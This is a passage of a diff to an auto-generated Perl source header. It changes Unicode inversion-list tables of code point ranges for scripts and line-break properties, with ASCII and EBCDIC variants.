&& '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SC_invlist[] = { /* for EBCDIC 037 */ - 39, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4A, - 0x4B, - 0x5B, - 0x5C, - 0x9F, - 0xA0, - 0xB1, - 0xB3, - 0x58F, - 0x590, - 0x60B, - 0x60C, - 0x9F2, - 0x9F4, - 0x9FB, - 0x9FC, - 0xAF1, - 0xAF2, - 0xBF9, - 0xBFA, - 0xE3F, - 0xE40, - 0x17DB, - 0x17DC, - 0x20A0, - 0x20C0, - 0xA838, - 0xA839, - 0xFDFC, - 0xFDFD, - 0xFE69, - 0xFE6A, - 0xFF04, - 0xFF05, - 0xFFE0, - 0xFFE2, - 0xFFE5, - 0xFFE7 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_SC__ADLM_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960 -}; - -static const UV PL_SC__ARAB_invlist[] = { /* for all charsets */ - 115, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x600, - 0x605, - 0x606, - 0x60C, - 0x60D, - 0x61B, - 0x61C, - 0x61D, - 0x61E, - 0x61F, - 0x620, - 0x640, - 0x641, - 0x64B, - 0x656, - 0x670, - 0x671, - 0x6DD, - 0x6DE, - 0x700, - 0x750, - 0x780, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x900, - 0xFB50, - 0xFBC2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0x10E60, - 0x10E7F, + 0x1E944, 0x1EE00, 0x1EE04, 0x1EE05, @@ -344004,492 +39388,24 @@ static const UV PL_SC__ARAB_invlist[] = { /* for all charsets */ 0x1EE65, 0x1EE67, 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2 -}; - -static const UV PL_SC__ARMN_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x58A, - 0x58B, - 0x58D, - 0x590, - 0xFB13, - 0xFB18 -}; - -static const UV PL_SC__BENG_invlist[] = { /* for all charsets */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x980, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE -}; - -static const UV PL_SC__BOPO_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2EA, - 0x2EC, - 0x3105, - 0x312F, - 0x31A0, - 0x31BB -}; - -static const UV PL_SC__BUGI_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1A00, - 0x1A1C, - 0x1A1E, - 0x1A20 -}; - -static const UV PL_SC__BUHD_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1740, - 0x1754 -}; - -static const UV PL_SC__CAKM_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11100, - 0x11135, - 0x11136, - 0x11144 -}; - -static const UV PL_SC__COPT_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3E2, - 0x3F0, - 0x2C80, - 0x2CF4, - 0x2CF9, - 0x2D00 -}; - -static const UV PL_SC__CPRT_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10840 -}; - -static const UV PL_SC__CYRL_invlist[] = { /* for all charsets */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x400, - 0x485, - 0x487, - 0x530, - 0x1C80, - 0x1C89, - 0x1D2B, - 0x1D2C, - 0x1D78, - 0x1D79, - 0x2DE0, - 0x2E00, - 0xA640, - 0xA6A0, - 0xFE2E, - 0xFE30 -}; - -static const UV PL_SC__DEVA_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x900, - 0x951, - 0x953, - 0x964, - 0x966, - 0x980, - 0xA8E0, - 0xA8FE -}; - -static const UV PL_SC__DUPL_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA0 -}; - -static const UV PL_SC__GEOR_invlist[] = { /* for all charsets */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1100, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E -}; - -static const UV PL_SC__GLAG_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B -}; - -static const UV PL_SC__GRAN_invlist[] = { /* for all charsets */ - 31, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375 -}; - -static const UV PL_SC__GREK_invlist[] = { /* for all charsets */ - 73, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x370, - 0x374, - 0x375, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x384, - 0x385, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3E2, - 0x3F0, - 0x400, - 0x1D26, - 0x1D2B, - 0x1D5D, - 0x1D62, - 0x1D66, - 0x1D6B, - 0x1DBF, - 0x1DC0, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2126, - 0x2127, - 0xAB65, - 0xAB66, - 0x10140, - 0x1018F, - 0x101A0, - 0x101A1, - 0x1D200, - 0x1D246 -}; - -static const UV PL_SC__GUJR_invlist[] = { /* for all charsets */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00 -}; - -static const UV PL_SC__GURU_invlist[] = { /* for all charsets */ - 33, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76 -}; - -static const UV PL_SC__HAN_invlist[] = { /* for all charsets */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3005, - 0x3006, - 0x3007, - 0x3008, - 0x3021, - 0x302A, - 0x3038, - 0x303C, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, 0x20000, 0x2A6D7, 0x2A700, @@ -344498,1287 +39414,2179 @@ static const UV PL_SC__HAN_invlist[] = { /* for all charsets */ 0x2B81E, 0x2B820, 0x2CEA2, - 0x2CEB0, - 0x2EBE1, 0x2F800, 0x2FA1E }; -static const UV PL_SC__HANG_invlist[] = { /* for all charsets */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1100, - 0x1200, - 0x302E, - 0x3030, - 0x3131, - 0x318F, - 0x3200, - 0x321F, - 0x3260, - 0x327F, - 0xA960, - 0xA97D, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD -}; - -static const UV PL_SC__HANO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1720, - 0x1735 -}; - -static const UV PL_SC__HIRA_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x1B001, - 0x1B11F, - 0x1F200, - 0x1F201 -}; - -static const UV PL_SC__JAVA_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA980, - 0xA9CE, - 0xA9D0, - 0xA9DA, - 0xA9DE, - 0xA9E0 -}; - -static const UV PL_SC__KALI_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA900, - 0xA92E, - 0xA92F, - 0xA930 -}; - -static const UV PL_SC__KANA_invlist[] = { /* for all charsets */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30A1, - 0x30FB, - 0x30FD, - 0x3100, - 0x31F0, - 0x3200, - 0x32D0, - 0x32FF, - 0x3300, - 0x3358, - 0xFF66, - 0xFF70, - 0xFF71, - 0xFF9E, - 0x1B000, - 0x1B001 -}; - -static const UV PL_SC__KHOJ_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11200, - 0x11212, - 0x11213, - 0x1123F -}; - -static const UV PL_SC__KNDA_invlist[] = { /* for all charsets */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3 -}; - -static const UV PL_SC__KTHI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11080, - 0x110C2 -}; +#endif /* defined(PERL_IN_UTF8_C) */ -# if 'A' == 65 /* ASCII/Latin1 */ +#if defined(PERL_IN_PERL_C) -static const UV PL_SC__LATN_invlist[] = { /* for ASCII/Latin1 */ - 63, /* Number of elements */ +static const UV _Perl_LB_invlist[] = { /* for EBCDIC 1047 */ + 2279, /* Number of elements */ 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; + 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, + 0x5, + 0x6, + 0xB, + 0xD, + 0xE, + 0x15, + 0x16, + 0x25, + 0x26, + 0x40, 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2B9, - 0x2E0, - 0x2E5, - 0x1D00, - 0x1D26, - 0x1D2C, - 0x1D5D, - 0x1D62, - 0x1D66, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1DBF, - 0x1E00, - 0x1F00, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C60, - 0x2C80, - 0xA722, - 0xA788, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA800, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB65, - 0xFB00, - 0xFB07, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SC__LATN_invlist[] = { /* for EBCDIC 1047 */ - 89, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, 0x42, 0x4A, - 0x51, + 0x4B, + 0x4C, + 0x4D, + 0x4E, + 0x4F, + 0x50, 0x5A, + 0x5B, + 0x5C, + 0x5D, + 0x5E, + 0x5F, + 0x60, + 0x61, 0x62, - 0x6A, + 0x6B, + 0x6C, + 0x6D, + 0x6F, 0x70, - 0x79, + 0x7A, + 0x7B, + 0x7D, + 0x7E, + 0x7F, 0x80, 0x8A, 0x8C, 0x8F, + 0x90, 0x91, - 0x9D, - 0x9E, 0x9F, - 0xA2, + 0xA0, 0xAA, 0xAC, 0xAD, 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2B9, - 0x2E0, - 0x2E5, - 0x1D00, - 0x1D26, - 0x1D2C, - 0x1D5D, - 0x1D62, - 0x1D66, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1DBF, - 0x1E00, - 0x1F00, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C60, - 0x2C80, - 0xA722, - 0xA788, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA800, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB65, - 0xFB00, - 0xFB07, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SC__LATN_invlist[] = { /* for EBCDIC 037 */ - 85, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA2, - 0xAA, - 0xAC, - 0xAF, + 0xB1, + 0xB3, + 0xBD, + 0xBE, + 0xBF, + 0xC0, 0xC1, 0xCA, 0xCB, 0xD0, 0xD1, - 0xDA, - 0xDB, 0xE0, - 0xE2, - 0xEA, - 0xEB, + 0xE1, 0xF0, - 0xFB, + 0xFA, 0xFF, 0x100, - 0x2B9, + 0x2C8, + 0x2C9, + 0x2CC, + 0x2CD, + 0x2DF, 0x2E0, - 0x2E5, - 0x1D00, - 0x1D26, - 0x1D2C, - 0x1D5D, - 0x1D62, - 0x1D66, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1DBF, + 0x300, + 0x34F, + 0x350, + 0x35C, + 0x363, + 0x370, + 0x37E, + 0x37F, + 0x483, + 0x48A, + 0x589, + 0x58A, + 0x58B, + 0x58F, + 0x590, + 0x591, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F3, + 0x609, + 0x60C, + 0x60E, + 0x610, + 0x61B, + 0x61C, + 0x61D, + 0x61E, + 0x620, + 0x64B, + 0x660, + 0x66A, + 0x66B, + 0x66D, + 0x670, + 0x671, + 0x6D4, + 0x6D5, + 0x6D6, + 0x6DD, + 0x6DF, + 0x6E5, + 0x6E7, + 0x6E9, + 0x6EA, + 0x6EE, + 0x6F0, + 0x6FA, + 0x711, + 0x712, + 0x730, + 0x74B, + 0x7A6, + 0x7B1, + 0x7C0, + 0x7CA, + 0x7EB, + 0x7F4, + 0x7F8, + 0x7F9, + 0x7FA, + 0x816, + 0x81A, + 0x81B, + 0x824, + 0x825, + 0x828, + 0x829, + 0x82E, + 0x859, + 0x85C, + 0x8D4, + 0x8E2, + 0x8E3, + 0x904, + 0x93A, + 0x93D, + 0x93E, + 0x950, + 0x951, + 0x958, + 0x962, + 0x964, + 0x966, + 0x970, + 0x981, + 0x984, + 0x9BC, + 0x9BD, + 0x9BE, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CE, + 0x9D7, + 0x9D8, + 0x9E2, + 0x9E4, + 0x9E6, + 0x9F0, + 0x9F2, + 0x9F4, + 0x9F9, + 0x9FA, + 0x9FB, + 0x9FC, + 0xA01, + 0xA04, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA66, + 0xA70, + 0xA72, + 0xA75, + 0xA76, + 0xA81, + 0xA84, + 0xABC, + 0xABD, + 0xABE, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, + 0xAE2, + 0xAE4, + 0xAE6, + 0xAF0, + 0xAF1, + 0xAF2, + 0xB01, + 0xB04, + 0xB3C, + 0xB3D, + 0xB3E, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, + 0xB62, + 0xB64, + 0xB66, + 0xB70, + 0xB82, + 0xB83, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBF0, + 0xBF9, + 0xBFA, + 0xC00, + 0xC04, + 0xC3E, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC62, + 0xC64, + 0xC66, + 0xC70, + 0xC81, + 0xC84, + 0xCBC, + 0xCBD, + 0xCBE, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCE2, + 0xCE4, + 0xCE6, + 0xCF0, + 0xD01, + 0xD04, + 0xD3E, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD4E, + 0xD57, + 0xD58, + 0xD62, + 0xD64, + 0xD66, + 0xD70, + 0xD79, + 0xD7A, + 0xD82, + 0xD84, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF4, + 0xE31, + 0xE32, + 0xE34, + 0xE3B, + 0xE3F, + 0xE40, + 0xE47, + 0xE4F, + 0xE50, + 0xE5A, + 0xE5C, + 0xEB1, + 0xEB2, + 0xEB4, + 0xEBA, + 0xEBB, + 0xEBD, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xF01, + 0xF05, + 0xF06, + 0xF08, + 0xF09, + 0xF0B, + 0xF0C, + 0xF0D, + 0xF12, + 0xF13, + 0xF14, + 0xF15, + 0xF18, + 0xF1A, + 0xF20, + 0xF2A, + 0xF34, + 0xF35, + 0xF36, + 0xF37, + 0xF38, + 0xF39, + 0xF3A, + 0xF3B, + 0xF3C, + 0xF3D, + 0xF3E, + 0xF40, + 0xF71, + 0xF7F, + 0xF80, + 0xF85, + 0xF86, + 0xF88, + 0xF8D, + 0xF98, + 0xF99, + 0xFBD, + 0xFBE, + 0xFC0, + 0xFC6, + 0xFC7, + 0xFD0, + 0xFD2, + 0xFD3, + 0xFD4, + 0xFD9, + 0xFDB, + 0x102B, + 0x103F, + 0x1040, + 0x104A, + 0x104C, + 0x1056, + 0x105A, + 0x105E, + 0x1061, + 0x1062, + 0x1065, + 0x1067, + 0x106E, + 0x1071, + 0x1075, + 0x1082, + 0x108E, + 0x108F, + 0x1090, + 0x109A, + 0x109E, + 0x1100, + 0x1160, + 0x11A8, + 0x1200, + 0x135D, + 0x1360, + 0x1361, + 0x1362, + 0x1400, + 0x1401, + 0x1680, + 0x1681, + 0x169B, + 0x169C, + 0x169D, + 0x16EB, + 0x16EE, + 0x1712, + 0x1715, + 0x1732, + 0x1735, + 0x1737, + 0x1752, + 0x1754, + 0x1772, + 0x1774, + 0x17B4, + 0x17D4, + 0x17D6, + 0x17D7, + 0x17D8, + 0x17D9, + 0x17DA, + 0x17DB, + 0x17DC, + 0x17DD, + 0x17DE, + 0x17E0, + 0x17EA, + 0x1802, + 0x1804, + 0x1806, + 0x1807, + 0x1808, + 0x180A, + 0x180B, + 0x180E, + 0x180F, + 0x1810, + 0x181A, + 0x1885, + 0x1887, + 0x18A9, + 0x18AA, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1944, + 0x1946, + 0x1950, + 0x19D0, + 0x19DA, + 0x1A17, + 0x1A1C, + 0x1A55, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A80, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B05, + 0x1B34, + 0x1B45, + 0x1B50, + 0x1B5A, + 0x1B5C, + 0x1B5D, + 0x1B61, + 0x1B6B, + 0x1B74, + 0x1B80, + 0x1B83, + 0x1BA1, + 0x1BAE, + 0x1BB0, + 0x1BBA, + 0x1BE6, + 0x1BF4, + 0x1C24, + 0x1C38, + 0x1C3B, + 0x1C40, + 0x1C4A, + 0x1C50, + 0x1C5A, + 0x1C7E, + 0x1C80, + 0x1CD0, + 0x1CD3, + 0x1CD4, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF2, + 0x1CF5, + 0x1CF8, + 0x1CFA, + 0x1DC0, + 0x1DF6, + 0x1DFB, 0x1E00, - 0x1F00, - 0x2071, - 0x2072, + 0x1FFD, + 0x1FFE, + 0x2000, + 0x2007, + 0x2008, + 0x200B, + 0x200C, + 0x200D, + 0x200E, + 0x2010, + 0x2011, + 0x2012, + 0x2014, + 0x2015, + 0x2018, + 0x201A, + 0x201B, + 0x201E, + 0x201F, + 0x2020, + 0x2024, + 0x2027, + 0x2028, + 0x202A, + 0x202F, + 0x2030, + 0x2038, + 0x2039, + 0x203B, + 0x203C, + 0x203E, + 0x2044, + 0x2045, + 0x2046, + 0x2047, + 0x204A, + 0x2056, + 0x2057, + 0x2058, + 0x205C, + 0x205D, + 0x2060, + 0x2061, + 0x2066, + 0x2070, + 0x207D, + 0x207E, 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C60, - 0x2C80, - 0xA722, - 0xA788, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA800, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB65, + 0x208D, + 0x208E, + 0x208F, + 0x20A0, + 0x20A7, + 0x20A8, + 0x20B6, + 0x20B7, + 0x20BB, + 0x20BC, + 0x20BE, + 0x20BF, + 0x20D0, + 0x20F1, + 0x2103, + 0x2104, + 0x2109, + 0x210A, + 0x2116, + 0x2117, + 0x2212, + 0x2214, + 0x22EF, + 0x22F0, + 0x2308, + 0x2309, + 0x230A, + 0x230B, + 0x230C, + 0x231A, + 0x231C, + 0x2329, + 0x232A, + 0x232B, + 0x23F0, + 0x23F4, + 0x2600, + 0x2604, + 0x2614, + 0x2616, + 0x2618, + 0x2619, + 0x261A, + 0x261D, + 0x261E, + 0x2620, + 0x2639, + 0x263C, + 0x2668, + 0x2669, + 0x267F, + 0x2680, + 0x26BD, + 0x26C9, + 0x26CD, + 0x26CE, + 0x26CF, + 0x26D2, + 0x26D3, + 0x26D5, + 0x26D8, + 0x26DA, + 0x26DC, + 0x26DD, + 0x26DF, + 0x26E2, + 0x26EA, + 0x26EB, + 0x26F1, + 0x26F6, + 0x26F7, + 0x26F9, + 0x26FA, + 0x26FB, + 0x26FD, + 0x2705, + 0x2708, + 0x270A, + 0x270E, + 0x275B, + 0x2761, + 